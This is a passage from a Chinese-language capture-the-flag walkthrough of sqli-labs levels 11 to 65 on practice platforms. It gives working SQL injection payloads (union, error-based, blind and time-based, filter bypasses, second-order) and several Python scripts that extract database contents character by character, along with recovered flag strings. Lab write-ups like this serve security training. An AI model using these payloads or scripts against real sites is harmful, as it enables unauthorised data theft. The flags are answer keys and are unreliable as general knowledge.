跟第一关一样，只是改了请求方式字段改了为2 其中%23改为# 不需要编码了 -1’ union select 1,flag from ctftraining.flag #

第十二关

跟第十一关一样，把’改为”) -1”) union select 1,flag from ctftraining.flag#

第十三关

post类型盲注，还好学了一丢丢爬虫这边贴个脚本。。。在前几个脚本基础上做的修改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


import requests
import time
url = "http://e4cb6dc3-7b2c-4c2a-913c-c7e1a9dae714.node4.buuoj.cn/Less-13/"

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 # data={"uname": "1') or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
 # data={"uname": "1') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
 # data={"uname": "1') or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
 data={"uname": "1') or if(ascii(substr((select flag from ctftraining.flag),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
 
 r=requests.post(url=url,data=data)
 # print(r.text)
 time.sleep(1)
 if "flag.jpg" in r.text:
 head=mid+1
 else:
 tail=mid

 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

第十四关

把上面中的 ‘) 换成 “

第十五关

判断闭合’ or if(1=2,1,sleep(10)) # 时间盲注POST版贴上我的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


import requests
import time
url = "http://e4cb6dc3-7b2c-4c2a-913c-c7e1a9dae714.node4.buuoj.cn/Less-15/"

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 # data={"uname": "1' or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},sleep(1),0) #".format(i,mid),"passwd": 1}
 # data={"uname": "1' or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},sleep(0.5),0) #".format(i,mid),"passwd": 1}
 # data={"uname": "1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),{},1))>{},sleep(0.5),0) #".format(i,mid),"passwd": 1}
 # data={"uname": "1' or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},sleep(0.5),0) #".format(i,mid),"passwd": 1}
 data={"uname": "1' or if(ascii(substr((select flag from ctftraining.flag),{},1))>{},sleep(0.5),0) #".format(i,mid),"passwd": 1}

 start_time=time.time()
 r=requests.post(url=url,data=data)
 #print(r.text)
 if time.time()-start_time>=1:
 head=mid+1
 else:
 tail=mid

 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

第十六关

判断闭合 “)or if(1=2,1,sleep(10)) # 把上面脚本的 ‘ 改为 “)

第十七关

username必须得admin才行，没想到。。靠！！！报错注入 1’ or updatexml(1,concat(0x26,database(),0x26),1)# 1’ or updatexml(1,concat(0x26,database(),0x26),1)# 1’ or updatexml(1,concat(0x26,(select right(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# 1’ or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# 左右拼接一下就是库名 ····中间差不多不多赘述了 1’ or updatexml(1,concat(0x26,(select left(flag,30) from ctftraining.flag),0x26),1)# 1’ or updatexml(1,concat(0x26,(select right(flag,30) from ctftraining.flag),0x26),1)# 左右拼接一下就是flag

另一个函数注：该函数一次只能查询32位长度 extractvalue(1,concat(0x26,(SQL语句),0x26));

第十八关

把UA换成 ‘ or updatexml(1,concat(0x26,database(),0x26),1)and’ 应该是后面还有语句，没想到。。。看看源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)//登录成功
{
 //将用户的uagent,ip,uname插入到一张表中
 $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

 mysql_query($insert); //进行插入数据

 echo 'Your User Agent is: ' .$uagent;
 print_r(mysql_error()); //输出详细错误 
}

else
{
 echo '<font color= "#0000ff" font size="3">';
 print_r(mysql_error()); //输出详细错误
 echo '<img src="../images/slap.jpg" />';
 echo "</font>"; 
 }

果然是 ‘ or updatexml(1,concat(0x26,(select right(flag,30) from ctftraining.flag),0x26),1) and ‘ ‘ or updatexml(1,concat(0x26,(select left(flag,30) from ctftraining.flag),0x26),1) and ‘ 读取flag

第十九关

改referer和上面一样

第二十关

这个不看源码做不了吧。。。。。

1
2
3
4


//uname和passwd都做了过滤,而cookie没有，直接获取
$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
//存在一个跟cookie相关的sql语句操作，由于未进行任何过滤，所以存在cookie注入

buu没有回显。。。。 ctfshow有。。。常规注入不做赘述查看17题

第二十一关

记得base64编码 admin’) or updatexml(1,concat(0x26,(select right(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# admin’) or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# admin’) or updatexml(1,concat(0x26,(select left(group_concat(table_name),30) from information_schema.tables where table_schema=’ctfshow’),0x26),1)# admin’) or updatexml(1,concat(0x26,(select left(group_concat(column_name),30) from information_schema.columns where table_name=’flag’),0x26),1)# admin’) or updatexml(1,concat(0x26,(select right(group_concat(flag4),30) from ctfshow.flag),0x26),1)# ctfshow{2e2f5457-7c1f-4c62-be9b-e60e06bcf98f}

第二十二关

把上面的’)改“ 步骤差不多 ctfshow{58706930-1993-4c33-98d4-91326f15b2c2}

第二十三关

?id=1’or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)and ‘ 然后差不多 ?id=1’or updatexml(1,concat(0x26,(select left(group_concat(table_name),30) from information_schema.tables where table_schema=’ctfshow’),0x26),1)and ‘ ?id=1’or updatexml(1,concat(0x26,(select left(group_concat(column_name),30) from information_schema.columns where table_name=’flag’),0x26),1)and ‘ ?id=1’or updatexml(1,concat(0x26,(select left(group_concat(flag4),30) from ctfshow.flag),0x26),1)and ‘ ctfshow{c3322c5b-e92d-4b1b-82d0-d18b4f075da6}

第二十四关

可以改管理员密码。。不太会，查不到库里面的数据

You tried to be smart, Try harder!!!! :( 别骂了别骂了。。 admin’ or if(1=2,1,sleep(5)) #让服务器炸了二次注入加时间盲注

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


import requests
session=requests.session()
i=0
result=""

for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 # payload = f'if(ascii(substr((select group_concat(table_name)from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},sleep(1),0)'
 # payload = f'if(ascii(substr((select group_concat(column_name)from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},sleep(0.7),0)'
 payload = 'if(ascii(substr((select group_concat(flag4)from(ctfshow.flag)),{},1))>{},sleep(1),0)'.format(i,mid)
 username = "admin' and {} or '2'='2".format(payload)
 url1 = 'http://58962273-3e5b-4881-8bef-750836065431.challenge.ctf.show:8080/login_create.php'
 data1 = {
 'username': username,
 'password': '1',
 're_password': '1',
 'submit': 'Register'
 }
 r1 = session.post(url1, data=data1)
 url2 = 'http://58962273-3e5b-4881-8bef-750836065431.challenge.ctf.show:8080/login.php'
 data2 = {
 'login_user': username,
 'login_password': '1',
 'mysubmit': 'Login',
 }
 r2 = session.post(url2, data=data2)
 url3 = 'http://58962273-3e5b-4881-8bef-750836065431.challenge.ctf.show:8080/pass_change.php'
 data3 = {
 'current_password': '1',
 'password': '2',
 're_password': '2',
 'submit': 'Reset'
 }

 try:
 r = session.post(url3,data=data3,timeout=0.9)
 tail = mid

 except:
 head = mid + 1


 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

第二十五关

报错注入,双写绕过也行 ?id=1%27^extractvalue(1,concat(0x7e,(select(database()))))%23 ?id=1’^updatexml(1,concat(0x26,(select group_concat(schema_name) from infoorrmation_schema.schemata),0x26),1)%23 ?id=1’^updatexml(1,concat(0x26,(select left(group_concat(table_name),30) from infoorrmation_schema.tables where table_schema=’ctfshow’),0x26),1)%23 ?id=1’^updatexml(1,concat(0x26,(select left(group_concat(column_name),30) from infoorrmation_schema.columns where table_name=’flags’),0x26),1)%23 ?id=1’^updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 ?id=1’^updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 ctfshow{80fa6629-bc4a-4564-93b9-106eee1fe209}

第二十五关a

?id=-1 union select 1,2,group_concat(schema_name)from infoorrmation_schema.schemata%23爆库名 ?id=-1 union select 1,2,group_concat(table_name)from infoorrmation_schema.tables where table_schema=’ctfshow’%23 ?id=-1 union select 1,2,group_concat(column_name)from infoorrmation_schema.columns where table_name=’flags’%23 ?id=-1 union select 1,2,group_concat(flag4s) from ctfshow.flags%23

第二十六关

?id=1’^extractvalue(1,concat(0x7e,(select(database())))) and’ ?id=1’^updatexml(1,concat(0x26,(select(group_concat(schema_name))from(infoorrmation_schema.schemata)),0x26),1)anandd’ ?id=1’^updatexml(1,concat(0x26,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(‘ctfshow’)),0x26),1)anandd’ ?id=1’^updatexml(1,concat(0x26,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(‘ctfshow’)),0x26),1)anandd’ ?id=1’^updatexml(1,concat(0x26,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)like(‘flags’)),0x26),1)anandd’ ?id=1’^updatexml(1,concat(0x26,(select(right(group_concat(flag4s),30))from(ctfshow.flags)),0x26),1)anandd’ ctfshow{bbad336b-ea6c-4094-8888-c27b7a6ec0d0} b-ea6c-4094-8888

第二十六关a

盲注

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


import requests
import time
url = "http://923efabc-d503-4bbd-a28d-8f1631620fe1.challenge.ctf.show:8080/"

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 # payload="?id=100')||if(ascii(substr((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),{},1))>{},1,0)||('0".format(i,mid)
 # payload="?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='ctfshow'),{},1))>{},1,0)||('0".format(i,mid)
 #payload="?id=100')||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='flags'),{},1))>{},1,0)||('0".format(i,mid)
 payload="?id=100')||if(ascii(substr((select(flag4s)from(ctfshow.flags)),{},1))>{},1,0)||('0".format(i,mid)
 # print(url+payload)

 r=requests.get(url+payload)
 if "Your Password:Dumb" in r.text:
 head=mid+1
 else:
 tail=mid
 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

第二十七关

大写绕过，也可以用上面的脚本，大写绕过 ?id=1’^updatexml(1,concat(0x26,(sElect(group_concat(schema_name))from(information_schema.schemata)),0x26),1)||’0 ?id=1’^updatexml(1,concat(0x26,(sElect(group_concat(table_name))from(information_schema.tables)),0x26),1)||’0 ?id=1’^updatexml(1,concat(0x26,(sElect(group_concat(column_name))from(information_schema.columns)),0x26),1)||’0 ?id=1’^updatexml(1,concat(0x26,(sElect(group_concat(flag4s))from(ctfshow.flags)),0x26),1)||’0 ctfshow{33995233-b6a5-4717-b457-76add1addd7c} ?id=1’^updatexml(1,concat(0x26,(sElect(right(group_concat(flag4s),30))from(ctfshow.flags)),0x26),1)||’0 3-b6a5-4717-b457-76add1addd7c}

第二十七关a

把教本的’)换成” ctfshow{673c8abe-5548-48b4-b1b7-0338d3f4d45e}

第二十八关

用脚本闭合 ‘)

第二十八关a

不能报错注入用脚本

第二十九关

http参数污染 waf解析前者，服务器解析后者 ?id=1&id=-2’union select 1,2,group_concat(flag4s) from ctfshow.flags %23 ctfshow{97c5088d-09f4-413c-a515-de989a1c32fe}

第三十关

?id=1&id=-2“union select 1,2,group_concat(flag4s) from ctfshow.flags %23

第三十一关

?id=1&id=-2”)union select 1,2,group_concat(flag4s) from ctfshow.flags %23

第三十二关

宽字节注入 %df 吃 ?id=-2%df’union select 1,2,group_concat(flag4s) from ctfshow.flags %23

第三十三关

一样

level 34

十六进制代替 “ “里的东西

1 �’union select 1,group_concat(schema_name) from information_schema.schemata # 1 �’union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77 #

level 35

有点直接。。。数字型注入？？？ ?id=-1 union select 1,2,flag4s from ctfshow.flags%23

level 36

emmm ?id=-1�’union select 1,2,flag4s from ctfshow.flags%23

level 37

emmm -1�’union select 1,2,flag4s from ctfshow.flags#

level 38

emmm -1�’union select 1,flag4s from ctfshow.flags#

level 39

emmm ?id=-1 union select% 1,2,flag4s from ctfshow.flags%23

level 40

盲注跑脚本就是了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


import requests
import time
url = "http://591c712f-cd11-4547-94e0-27df596874e3.challenge.ctf.show:8080/"

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 #?id=100"||if(ascii(substr((seLeCt(group_concat(schema_name))from(information_schema.schemata)),1,1))>9999,1,0)||"0
 # payload="?id=100')||if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),{},1))>{},1,0)%23".format(i,mid)
 # payload="?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='ctfshow'),{},1))>{},1,0)||('0".format(i,mid)
 # payload="?id=100')||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='flags'),{},1))>{},1,0)||('0".format(i,mid)
 payload="?id=1') and if(ascii(substr((seLect(flag4s)from(ctfshow.flags)),{},1))>{},1,0)%23".format(i,mid)
 # print(url+payload)

 r=requests.get(url+payload)

 if "Your Username is : Dumb" in r.text:
 head=mid+1
 else:
 tail=mid
 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

中间没改，要用的话自己改改

level 41

上面脚本里面的 ‘) 去掉就行’

level 42

密码处 -1’ union select 1,2,3# -1’ union select 1,flag4s,3 from ctfshow.flags#

level 43

-1’) union select 1,2,3 # -1’) union select 1,flag4s,3 from ctfshow.flags#

level 44

admin’ or if(ascii(substr(database(),1,1))>1,sleep(3),0) # 时间盲注。。脚本改一改

level 45

admin’) or 1=1 # admin’) or if(ascii(substr(database(),1,1))>1,sleep(3),0) # 时间盲注改一改

level 46

报错注入 1 or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# 1 or updatexml(1,concat(0x26,(select right(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# 1 or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=’ctfshow’),0x26),1)# 1 or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=’flags’),0x26),1)# 1 or updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)# 1 or updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)# ctfshow{04b1482e-203c-44f1-8bb6-df5b27801821}

level 47

1’or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)%23 .. .. .. .. 1’ or updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 1’ or updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23

ctfshow{749b597e-5a51-495b-b92c-1a3accd21bc0}

?sort=1’or if(ascii(substr(database(),1,1))>1,sleep(0.5),0) %23

level 48

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


import requests
url = "http://ee9f5ee9-1368-4d89-a875-1a44cfdf308e.challenge.ctf.show:8080/?sort=1 and "

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 # payload="if(ascii(substr(database(),{},1))>{},sleep(0.5),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctftraining'),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},sleep(1),0) %23".format(i,mid)
 payload="if(ascii(substr((select flag4s from ctfshow.flags),{},1))>{},sleep(0.5),0) %23".format(i,mid)
 # print(url+payload)
 # start_time=time.time()
 r=requests.get(url+payload)
 print(url+payload)
 #print(r.text)
 try:
 r = requests.get(url+payload,timeout=0.4)
 tail = mid

 except:
 head = mid + 1

 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

ctfshow{6d997ae2-953d-4117-8563-e426fb32bc65}

level 49

时间盲注

1’ and if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),1,1))>2,sleep(0.5),0) %23

贴个脚本，自己改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


import requests
url = "http://583bbd02-c708-41eb-86ab-f792729f9843.node4.buuoj.cn/Less-49/?sort=1' and "

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 payload="if(ascii(substr(database(),{},1))>{},sleep(0.5),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctftraining'),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select flag4s from ctfshow.flags),{},1))>{},sleep(0.5),0) %23".format(i,mid)
 # print(url+payload)
 # start_time=time.time()
 r=requests.get(url+payload)
 print(url+payload)
 #print(r.text)
 try:
 r = requests.get(url+payload,timeout=0.4)
 tail = mid

 except:
 head = mid + 1

 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

level 50

1 or updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 1 or updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23

ctfshow{0f3c691a-ba65-4f5b-ad46-bc0e58100b9e}

level 51

1’or updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 1’or updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 ctfshow{23972c5c-3569-4115-8572-0f754336659a}

level 52

时间盲注 ?sort=1 and if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),1,1))>2,sleep(5),0) %23 49那个脚本改一改

level 53

时间盲注脚本跑一跑 ?sort=1’ and if(ascii(substr(database(),1,1))>114,sleep(0.5),0) %23

level 54

网上没环境了用docker搭了个环境自己做 10次机会先写好语句 id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata %23 id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’challenges’ %23 N4QU4VGMDT id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’N4QU4VGMDT’ %23 secret_XA5R ?id=-1’union select 1,group_concat(secret_XA5R),3 from challenges.N4QU4VGMDT %23

level 55

?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’challenges’%23 ?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’RW5TWVFDYU’%23 ?id=-1) union select 1,group_concat(secret_O1KM),3 from challenges.RW5TWVFDYU%23

level 56

?id=-1’) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’challenges’%23 MMFDGR6C60 ?id=-1’) union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’MMFDGR6C60’%23 secret_ZGCM ?id=-1’) union select 1,group_concat(secret_ZGCM),3 from challenges.MMFDGR6C60%23

level 57

?id=-1” union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’challenges’%23 UCNSDJBA2P ?id=-1” union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’UCNSDJBA2P’%23 secret_7COO ?id=-1” union select 1,group_concat(secret_7COO),3 from challenges.UCNSDJBA2P%23

level 58

没有回显,有报错信息报错注入 1’ or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=’challenges’),0x26),1)%23 WMYP9VS7T2 1’ or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=’WMYP9VS7T2’),0x26),1)%23 secret_YKLV 1’ or updatexml(1,concat(0x26,(select right(group_concat(secret_YKLV),30) from challenges.WMYP9VS7T2),0x26),1)%23 BzE8UovoHobfXoFK5rflIeMo

level 59

?id=1 or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=’challenges’),0x26),1)%23 WZBWCK0O8M ?id=1 or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=’WZBWCK0O8M’),0x26),1)%23 secret_CNZ0 ?id=1 or updatexml(1,concat(0x26,(select right(group_concat(secret_CNZ0),30) from challenges.WZBWCK0O8M),0x26),1)%23 JeF0NQQk0TXsVJM6MzoPbtiL

level 60

?id=1”)or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=’challenges’),0x26),1)%23 IYK33M1WVE ?id=1”)or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=’IYK33M1WVE’),0x26),1)%23 secret_WL6G ?id=1”)or updatexml(1,concat(0x26,(select right(group_concat(secret_WL6G),30) from challenges.IYK33M1WVE),0x26),1)%23 f3Vhf9q9mInCQoAqyOXGCLcy

level 61

?id=1’))or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=’challenges’),0x26),1)%23 UEEUBQKDFE ?id=1’))or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=’UEEUBQKDFE’),0x26),1)%23 secret_RMS1 ?id=1”)or updatexml(1,concat(0x26,(select right(group_concat(secret_RMS1),30) from challenges.UEEUBQKDFE),0x26),1)%23 KnCHCTocAwPG2sToN2wUczxu

level 62

上脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


import requests
import time
import string
url = "http://100.100.1.20/Less-62/index.php"



def quick(load):
 result=""
 for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 payload = load % (i,mid)
 # print(url+payload)
 r=requests.get(url+payload)
 # print(r.text)
 if "Your Login name : Angelina" in r.text:
 head=mid+1
 else:
 tail=mid
 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)
 return result

 
table_name = quick(
 "?id=1')and if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='challenges'),%s,1))>%s,1,0)%%23"
)
print("table_name:"+table_name)

column_name = quick(
 "?id=1')and if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='"+table_name+"'),%s,1))>%s,1,0)%%23"
)
column_name=column_name[10:21]
print("column_name:"+column_name)

secret_key=quick(
 "?id=1')and if(ascii(substr((select(group_concat("+column_name+"))from(challenges."+table_name+")),%s,1))>%s,1,0)%%23"
)
print(secret_key)

唯快不破

level 63

闭合方式改为’

level 64

闭合方式改为))

level 65

闭合”)